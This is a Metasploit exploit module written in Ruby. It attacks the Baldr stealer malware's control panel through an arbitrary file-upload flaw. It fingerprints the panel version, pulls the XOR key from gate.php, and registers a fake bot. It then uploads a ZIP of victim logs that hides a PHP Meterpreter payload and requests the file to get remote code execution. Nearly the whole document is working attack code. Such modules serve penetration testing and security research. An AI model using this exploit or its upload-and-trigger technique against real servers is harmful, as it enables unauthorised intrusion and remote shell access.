##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Baldr Botnet Panel Shell Upload Exploit',
        'Description' => %q{
          This module exploits a arbitrary file upload vulnerability within the Baldr
          stealer malware control panel. Attackers can turn this vulnerability into
          an RCE by adding a malicious PHP code inside the victim logs ZIP file and
          registering a new bot to the panel by uploading the ZIP file under logs
          directory. On versions 3.0 and 3.1 victim logs are ciphered by a random 4
          byte XOR key.

          This exploit module retrieves the IP spesific XOR key from panel gate
          and registers a new victim to the panel with adding the selected payload
          inside the victim logs.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Ege BalcÄą <egebalci@pm.me>' # author & msf module
          ],
        'References' =>
          [
            ['URL', 'https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/'],
            ['URL', 'https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/'],
            ['URL', 'https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf'],
          ],
        'DefaultOptions' =>
          {
            'SSL' => false,
            'WfsDelay' => 5
          },
        'Platform' => [ 'php' ],
        'Arch' => [ ARCH_PHP ],
        'Targets' =>
          [
            [
              'Auto',
              {
                'Platform' => 'PHP',
                'Arch' => ARCH_PHP,
                'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
              }
            ],
            [
              '<= v2.0',
              {
                'Platform' => 'PHP',
                'Arch' => ARCH_PHP,
                'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
              }
            ],
            [
              'v2.2',
              {
                'Platform' => 'PHP',
                'Arch' => ARCH_PHP,
                'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
              }
            ],
            [
              'v3.0 & v3.1',
              {
                'Platform' => 'PHP',
                'Arch' => ARCH_PHP,
                'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
              }
            ]
          ],
        'Privileged' => false,
        'DisclosureDate' => 'Dec 19 2018',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
      ]
    )
  end

  def check
    if select_target
      Exploit::CheckCode::Appears("Baldr Version: #{select_target.name}")
    else
      Exploit::CheckCode::Safe
    end
  end

  def select_target
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'gate.php')
    )
    if res && res.code == 200
      if res.body.include?('~;~')
        targets[3]
      elsif res.body.include?(';')
        targets[2]
      elsif res.body.size < 4
        targets[1]
      end
    end
  end

  def exploit
    # Forge the payload
    name = ".#{Rex::Text.rand_text_alpha(4)}"
    files =
      [
        { data: payload.encoded, fname: "#{name}.php" }
      ]
    zip = Msf::Util::EXE.to_zip(files)
    hwid = Rex::Text.rand_text_alpha(8).upcase

    gate_uri = normalize_uri(target_uri.path, 'gate.php')
    version = select_target
    # If not 'Auto' then use the selected version
    if target != targets[0]
      version = target
    end

    gate_res = send_request_cgi({
      'method' => 'GET',
      'uri' => gate_uri
    })
    os = Rex::Text.rand_text_alpha(8..12)

    case version
    when targets[3]
      fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
      unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
        fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
      end
      key = gate_res.body.to_s.split('~;~')[0]
      print_good("Key: #{key}")

      data = "hwid=#{hwid}&os=#{os}&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
      data = Rex::Text.xor(key, data)

      res = send_request_cgi({
        'method' => 'GET',
        'uri' => gate_uri,
        'data' => data.to_s
      })

      fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') unless res && res.code == 200
      print_good('Bot successfully registered.')

      data = Rex::Text.xor(key, zip.to_s)
      form = Rex::MIME::Message.new
      form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{hwid}.zip\"")

      res = send_request_cgi({
        'method' => 'POST',
        'uri' => gate_uri,
        'ctype' => "multipart/form-data; boundary=#{form.bound}",
        'data' => form.to_s
      })

      if res && res.code == 200
        print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
        register_file_for_cleanup("#{name}.php")
      else
        print_error("Server responded with code #{res.code}")
        fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
      end
    when targets[2]
      fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
      unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
        fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
      end

      key = gate_res.body.to_s.split(';')[0]
      print_good("Key: #{key}")
      data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
      data << zip.to_s
      result = Rex::Text.xor(key, data)

      res = send_request_cgi({
        'method' => 'POST',
        'uri' => gate_uri,
        'data' => result.to_s
      })

      unless res && res.code == 200
        print_error("Server responded with code #{res.code}")
        fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
      end

      print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
    else
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => gate_uri,
        'data' => zip.to_s,
        'encode_params' => true,
        'vars_get' => {
          'hwid' => hwid,
          'os' => os,
          'cookie' => '0',
          'pswd' => '0',
          'credit' => '0',
          'wallet' => '0',
          'file' => '1',
          'autofill' => '0',
          'version' => 'v2.0'
        }
      })

      if res && res.code == 200
        print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
      else
        print_error("Server responded with code #{res.code}")
        fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
      end
    end

    vprint_status('Triggering payload')
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'logs', hwid, "#{name}.php")
    }, 3)
  end
end